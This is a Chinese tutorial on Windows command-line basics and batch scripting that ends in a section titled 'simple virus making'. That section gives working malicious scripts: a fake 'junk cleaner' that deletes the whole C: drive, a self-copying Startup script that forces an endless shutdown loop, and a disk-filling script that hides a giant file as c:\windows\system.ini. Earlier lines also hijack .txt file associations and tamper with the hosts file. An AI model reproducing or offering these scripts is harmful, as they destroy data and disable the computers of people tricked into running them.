网络测试命令

:: 查看IP地址基本信息
ipconfig

:: 查看IP地址详细信息
ipconfig /all

:: 测试网络连通性,有去有回即为可以成功通信
ping blog.1997sty.com

:: 一直ping
ping -t blog.1997sty.com

:: 修改ping包的数量
ping -n 1000 blog.1997sty.com

:: 手工解析域名
nslookup blog.1997sty.com

基本命令

:: 改变背景及字体颜色
color f0
color ?

:: 清屏
cls

:: 浏览当前文件夹的内容
dir 

:: 浏览指定文件夹的内容
dir d:\

:: 浏览当前文件夹的所有内容
dir /a 

:: 切换分区
c:
d:
e:

:: 返回上级目录
cd..

::进入文件夹
cd 文件夹名 

:: 直接退到根目录
cd \

:: 创建文件夹
md 1997sty

:: 删除文件夹
rd 1997sty

:: 无提示删除非空文件夹
rd 1997sty /s /q

文件相关命令

:: 创建文件
:: echo 字符串 >>[路径\]文件名.扩展名
:: >>为追加
:: >为覆盖
:: 修改hosts文件
echo 1.1.1.1 www.baidu.com >>c:\windows\system32\drivers\etc\hosts

:: 浏览一个文件的内容
type 文件名.扩展名

:: 删除文件
:: *为通配符,代表任意字符,任意长度
del 文件名.扩展名

::删除所有txt结尾的文件
del *.txt

::删除所有文件
del *.*

::无提示删除所有文件
del *.* /s /q

:: 改名
ren  旧名  新名

:: 修改关联
assoc .txt=exefile

:: 快速生成一个空文件
fsutil file createnew c:\windows\system.ini 409600000

:: 开始编辑内容 ctrl+z 回车结束编写
copy con 文件名.扩展名

:: 分页显示
type 文件名.扩展名 | more

隐藏命令

:: 隐藏文件或文件夹
attrib +h 文件全名/文件夹名

:: 提升为被系统保护的文件
attrib +s +h 文件全名/文件夹名

复制和移动

:: 复制文件
copy [路径\]源文件全名 目标路径[\新文件全名]

:: 移动文件
move [路径\]源文件全名 目标路径[\新文件全名]

定时关机或重启

:: 定时关机
shutdown -s -t 秒

:: 定时强制关机
shutdown -s -f -t 秒

:: 定时重启,同上加-f,为强制重启
shutdown -r -t 秒

:: 取消定时
shutdown -a

:: 注销,同logoff命令相同
shutdown -l

:: 提示内容
shutdown -s -f -t 秒 -c "提示内容"

批处理编写

  • 自上而下成批的处理每一条命令,直到执行最后一条

新建一个记事本文件,然后将扩展名改为.bat

批处理基本语法

:: 关闭回显功能,也就是屏蔽过程,建议放置在批处理的首行
@echo off

:: 暂停批处理运行
pause

:: 为批处理脚本设置标题
title 1997sty

:: 设置变量
set /p time=请输入时间:

:: 引用变量
%time%

:: 定义标签名跳转
: 1997sty
goto 1997sty

案例

  • 关机小程序
@echo off
title 史密斯小程序
:menu
cls
echo ====================
echo 菜单
echo 1.定时关机
echo 2.查看本机IP
echo 3.退出
echo ====================
set /p num=请输入选项:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
echo 请正确输入数值(1、2、3),按任意键继续!
pause
goto menu
:a
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返还菜单!
pause
goto menu
:b
ipconfig
echo 按任意键返还菜单!
pause
goto menu
:c
exit

简单病毒制作

  • 垃圾清理程序--恶意脚本
@echo off
echo ======================================
echo          垃圾清理程序v1.0
echo ======================================
c:
cd \
echo 即将要清理垃圾..
pause
rd . /s/q >nul 2>nul
echo 清理完毕
pause
  • 关机小程序制作
@echo off
color 0a
echo ======================================
echo          定时关机程序v1.0
echo ======================================
set /p a=输入时间:
shutdown -s -f -t %a%
pause
  • 无限关机

脚本名称为game.bat将自动关机脚本部署在启动目录,开机自动运行关机脚本

@echo off
copy game.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
shutdown -s -f -t 0
  • 瞬间干掉部分空间

前提是对应磁盘拥有足够的空间,需要加大破坏效果可以使用循环

@echo off
fsutil file createnew c:\windows\system.ini 40960000000
attrib +s +h c:\windows\system.ini